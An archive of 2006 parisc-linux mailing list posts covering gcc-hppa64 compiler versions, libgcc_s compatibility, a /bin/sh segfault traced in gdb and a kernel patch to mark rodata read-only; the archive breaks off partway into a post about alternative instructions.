http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-hppa64 compilers
Date: Thu, 12 Jan 2006 11:14:08 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <200601121614.k0CGE8oE015506__1804.22893395207$1416623990$gmane$org@hiauly1.hia.nrc.ca>
References: <17341.56304.198509.175260@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623990 17900 80.91.229.3 (22 Nov 2014 02:39:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jan 2006 16:14:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 12 Jan 2006 17:14:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72EA37D6F9;
	Thu, 12 Jan 2006 09:14:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30112-07; Thu, 12 Jan 2006 09:14:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 64B487D6FB;
	Thu, 12 Jan 2006 09:14:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6562B7D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Jan 2006 09:14:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30112-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Jan 2006 09:14:13 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B40CA7D6F7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Jan 2006 09:14:13 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k0CGE9il015507; Thu, 12 Jan 2006 11:14:09 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k0CGE8oE015506;
	Thu, 12 Jan 2006 11:14:08 -0500 (EST)
In-Reply-To: <17341.56304.198509.175260@gargle.gargle.HOWL> from "Matthias
	Klose" at Jan 6, 2006 03:54:40 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: COW0Y1soeSEkWb6WZHQhaXN1IGRvb0C8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23369

> Which gcc-X.Y-hppa64 variants are still needed for Debian sid/etch?
> Currently compilers are built for 3.3, 3.4, 4.0 and 4.1, the latter
> one for experimental. Is it time to drop some of these?

In the past couple of weeks, a couple of issues have appeared
regarding hppa compilers.

1) The current installed version of /lib/libgcc_s.so.2 in unstable
   is not compatible with the version of libgcc_s.so.2 built in 4.1
   and head.  I don't know much about this incompatibility other
   than using the new version is required with ada to avoid numerous
   testsuite fails.  It's likely that the problem affects other
   languages.

2) In recent debugging of an application that uses complex values,
   I noticed that complex values are not being passed in the correct
   registers on both the 32 and 64-bit ports.  I have a patch which
   I'm thinking of applying to 4.1 and trunk.  

These issues apply to hppa64 but aren't critical since there is no
linux runtime.  Fixing problem requires rebuilding all packages that
use complex or vector values.

I'm thinking we need another version bump for libgcc_s.so.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Segmentation faults in /bin/sh
Date: Wed, 11 Jan 2006 11:16:09 -0500 (EST)
Lines: 111
Approved: news@gmane.org
Message-ID: <200601111616.k0BGG9Ss010273@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623990 17901 80.91.229.3 (22 Nov 2014 02:39:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Jan 2006 16:16:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 11 Jan 2006 17:16:23 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E7DCA7D6F9;
	Wed, 11 Jan 2006 09:16:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20936-10; Wed, 11 Jan 2006 09:16:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5B2E7D736;
	Wed, 11 Jan 2006 09:16:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 549127D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Jan 2006 09:16:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20929-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Jan 2006 09:16:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 706A67D691
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Jan 2006 09:16:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k0BGGAil010275 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Jan 2006 11:16:11 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k0BGG9Ss010273
	for parisc-linux@lists.parisc-linux.org;
	Wed, 11 Jan 2006 11:16:09 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: D0q3Y4J/eSEkc76WZHQhaXN1IGRvb8Cj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23370

I'm occassionally seeing segmentation faults in /bin/sh:

dave@gsyprf11:~/gcc-4.0/objdir/hppa-linux/libjava$ gdb -c core /bin/sh
GNU gdb 6.4.50.20060109-cvs
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "hppa-linux"...(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".

Core was generated by `/bin/sh -c : mkdir -p -- javax/crypto/interfaces'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libncurses.so.5...(no debugging symbols found)...done.
Loaded symbols for /lib/libncurses.so.5
Reading symbols from /lib/libdl.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/ld.so.1

#0  0x000aa048 in xdupmbstowcs ()
(gdb) bt
#0  0x000aa048 in xdupmbstowcs ()
#1  0x404868f0 in _IO_free_backup_area () from /lib/libc.so.6
#2  0x404851bc in _IO_file_overflow () from /lib/libc.so.6
#3  0x40487680 in _IO_adjust_column () from /lib/libc.so.6
#4  0x40487a2c in _flushlbf () from /lib/libc.so.6
#5  0x4044ca84 in exit () from /lib/libc.so.6
#6  0x00024a1c in sh_exit ()
#7  0x00024a78 in exit_shell ()
#8  0x00026870 in main ()
(gdb) disass 0x000aa028 0x000aa068
Dump of assembler code from 0xaa028 to 0xaa068:
0x000aa028 <xdupmbstowcs+2888>: ldi 0,r5
0x000aa02c <xdupmbstowcs+2892>: stw r11,-7c(sp)
0x000aa030 <xdupmbstowcs+2896>: stw r8,-70(sp)
0x000aa034 <xdupmbstowcs+2900>: stw r7,-6c(sp)
0x000aa038 <xdupmbstowcs+2904>: stw r6,-68(sp)
0x000aa03c <xdupmbstowcs+2908>: stw r4,-60(sp)
0x000aa040 <xdupmbstowcs+2912>: movb,= r26,r4,0xaa1fc <xdupmbstowcs+3356>
0x000aa044 <xdupmbstowcs+2916>: stw r3,-5c(sp)
0x000aa048 <xdupmbstowcs+2920>: ldb -8(r4),r19
0x000aa04c <xdupmbstowcs+2924>: ldo -8(r4),r6
0x000aa050 <xdupmbstowcs+2928>: extrw,s r19,31,8,r19
0x000aa054 <xdupmbstowcs+2932>: ldi -2a,ret0
0x000aa058 <xdupmbstowcs+2936>: cmpb,= ret0,r19,0xaa3c0 <xdupmbstowcs+3808>
0x000aa05c <xdupmbstowcs+2940>: copy r4,r7
0x000aa060 <xdupmbstowcs+2944>: ldb 0(r6),ret0
0x000aa064 <xdupmbstowcs+2948>: extrw,s ret0,31,8,r19
End of assembler dump.
(gdb) p/x $r4
$1 = 0x7c20
(gdb) disass 0x000aa000 0x000aa068
Dump of assembler code from 0xaa000 to 0xaa068:
0x000aa000 <xdupmbstowcs+2848>: shladd,l r12,2,r19,r19
0x000aa004 <xdupmbstowcs+2852>: b,l 0xa9da4 <xdupmbstowcs+2244>,r0
0x000aa008 <xdupmbstowcs+2856>: stw ret0,0(r19)
0x000aa00c <xdupmbstowcs+2860>: stw rp,-14(sp)
0x000aa010 <xdupmbstowcs+2864>: stw,ma r12,80(sp)
0x000aa014 <xdupmbstowcs+2868>: stw r10,-78(sp)
0x000aa018 <xdupmbstowcs+2872>: copy r25,r10
0x000aa01c <xdupmbstowcs+2876>: stw r9,-74(sp)
0x000aa020 <xdupmbstowcs+2880>: copy r24,r9
0x000aa024 <xdupmbstowcs+2884>: stw r5,-64(sp)
0x000aa028 <xdupmbstowcs+2888>: ldi 0,r5
0x000aa02c <xdupmbstowcs+2892>: stw r11,-7c(sp)
0x000aa030 <xdupmbstowcs+2896>: stw r8,-70(sp)
0x000aa034 <xdupmbstowcs+2900>: stw r7,-6c(sp)
0x000aa038 <xdupmbstowcs+2904>: stw r6,-68(sp)
0x000aa03c <xdupmbstowcs+2908>: stw r4,-60(sp)
0x000aa040 <xdupmbstowcs+2912>: movb,= r26,r4,0xaa1fc <xdupmbstowcs+3356>
0x000aa044 <xdupmbstowcs+2916>: stw r3,-5c(sp)
0x000aa048 <xdupmbstowcs+2920>: ldb -8(r4),r19
0x000aa04c <xdupmbstowcs+2924>: ldo -8(r4),r6
0x000aa050 <xdupmbstowcs+2928>: extrw,s r19,31,8,r19
0x000aa054 <xdupmbstowcs+2932>: ldi -2a,ret0
---Type <return> to continue, or q <return> to quit---
0x000aa058 <xdupmbstowcs+2936>: cmpb,= ret0,r19,0xaa3c0 <xdupmbstowcs+3808>
0x000aa05c <xdupmbstowcs+2940>: copy r4,r7
0x000aa060 <xdupmbstowcs+2944>: ldb 0(r6),ret0
0x000aa064 <xdupmbstowcs+2948>: extrw,s ret0,31,8,r19
End of assembler dump.
(gdb) bt
#0  0x000aa048 in xdupmbstowcs ()
#1  0x404868f0 in _IO_free_backup_area () from /lib/libc.so.6
#2  0x404851bc in _IO_file_overflow () from /lib/libc.so.6
#3  0x40487680 in _IO_adjust_column () from /lib/libc.so.6
#4  0x40487a2c in _flushlbf () from /lib/libc.so.6
#5  0x4044ca84 in exit () from /lib/libc.so.6
#6  0x00024a1c in sh_exit ()
#7  0x00024a78 in exit_shell ()
#8  0x00026870 in main ()
(gdb) p *(char *)($r4 - 8)
Cannot access memory at address 0x7c18

This is with debian libc6 2.3.5-8.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] "mark rodata section read only" patches for parisc
Date: Fri, 13 Jan 2006 21:27:21 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <200601132127.22013.deller@gmx.de>
References: <20060113202106.E971149400A@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623990 17914 80.91.229.3 (22 Nov 2014 02:39:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jan 2006 20:27:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 13 Jan 2006 21:27:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A93627D6B2;
	Fri, 13 Jan 2006 13:27:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07730-09; Fri, 13 Jan 2006 13:27:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56CD17D6AC;
	Fri, 13 Jan 2006 13:27:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 027097D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Jan 2006 13:27:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07730-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Jan 2006 13:27:24 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.21])
	by free.linux.hp.com (Postfix) with SMTP id 076237D696
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Jan 2006 13:27:23 -0700 (MST)
Original-Received: (qmail invoked by alias); 13 Jan 2006 20:27:22 -0000
Original-Received: from p54AD26A5.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.38.165]
	by mail.gmx.net (mp007) with SMTP; 13 Jan 2006 21:27:22 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <20060113202106.E971149400A@palinux.hppa>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ymi6YyECeSEkX76WZHQhaXN1IGRvb4DK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23371

I've just committed a parisc version for the rodata section protection.
Nevertheless, since I'm not a real Linux Kernel memory expert, I could help on this part which is now in arch/parisc/mm/init.c:

	unsigned long addr = (unsigned long)&__start_rodata;

        for (; addr < (unsigned long)&__end_rodata; addr += PAGE_SIZE)
                change_page_attr(virt_to_page(addr), 1, PAGE_KERNEL_RO);

change_page_attr() is a i386 function to mark the page with special access rights, in this case "PAGE_KERNEL_RO".
Maybe someone here can tell me how this can be realized on parisc ?

Helge

On Friday 13 January 2006 21:21, Helge Deller wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	deller@cvs.parisc-linux.org	2006-01-13 13:21:06
> 
> Modified files:
> 	arch/parisc    : Kconfig.debug 
> 	arch/parisc/hpux: entry_hpux.S 
> 	arch/parisc/kernel: syscall.S 
> 	arch/parisc/mm : init.c 
> 	include/asm-parisc: cacheflush.h 
> 
> Log message:
> 	add the parisc version of the "mark rodata section read only" patches,
> 	some code for actually mark the pages RO still needs to be ADDED (see FIXME in arch/parisc/mm/init.c).
> 	
> 	copied from code from and signed off by Arjan van de Ven <arjan@infradead.org>, Ingo Molnar <mingo@elte.hu>,
> 	Andi Kleen <ak@muc.de>, Andrew Morton <akpm@osdl.org>, Linus Torvalds <torvalds@osdl.org>
> 	
> 	parisc-version is
> 	Signed-off-by: Helge Deller <deller@gmx.de>
> 
> Patches:
> http://cvs.parisc-linux.org/linux-2.6/arch/parisc/Kconfig.debug.diff?cvsroot=&r1=1.2&r2=1.3
> http://cvs.parisc-linux.org/linux-2.6/arch/parisc/hpux/entry_hpux.S.diff?cvsroot=&r1=1.3&r2=1.4
> http://cvs.parisc-linux.org/linux-2.6/arch/parisc/kernel/syscall.S.diff?cvsroot=&r1=1.21&r2=1.22
> http://cvs.parisc-linux.org/linux-2.6/arch/parisc/mm/init.c.diff?cvsroot=&r1=1.26&r2=1.27
> http://cvs.parisc-linux.org/linux-2.6/include/asm-parisc/cacheflush.h.diff?cvsroot=&r1=1.19&r2=1.20
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] alternative insn for parisc
Date: Sun, 15 Jan 2006 11:14:19 -0500
Lines: 292
Approved: news@gmane.org
Message-ID: <20060115161419.GC21721@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623990 17917 80.91.229.3 (22 Nov 2014 02:39:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2006 16:15:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 15 Jan 2006 17:15:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E7F3C7D66A;
	Sun, 15 Jan 2006 09:15:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21786-05; Sun, 15 Jan 2006 09:15:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 998CC7D652;
	Sun, 15 Jan 2006 09:15:21 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C36D7D645
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 09:15:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21564-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 09:15:18 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 792BE7D642
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 09:15:18 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 2F97523E83
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 11:15:15 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04254-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 11:15:14 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id AD5D423E82
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 11:15:14 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 2182C3B05E; Sun, 15 Jan 2006 11:14:20 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SRC4Y+0deSEkPb6WZHQhaXN1IGRvb4An
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23372

I was toying with the idea of cleaning up the ugly
ioc_needs_fdc branches all over sba_iommu.c to use something a little
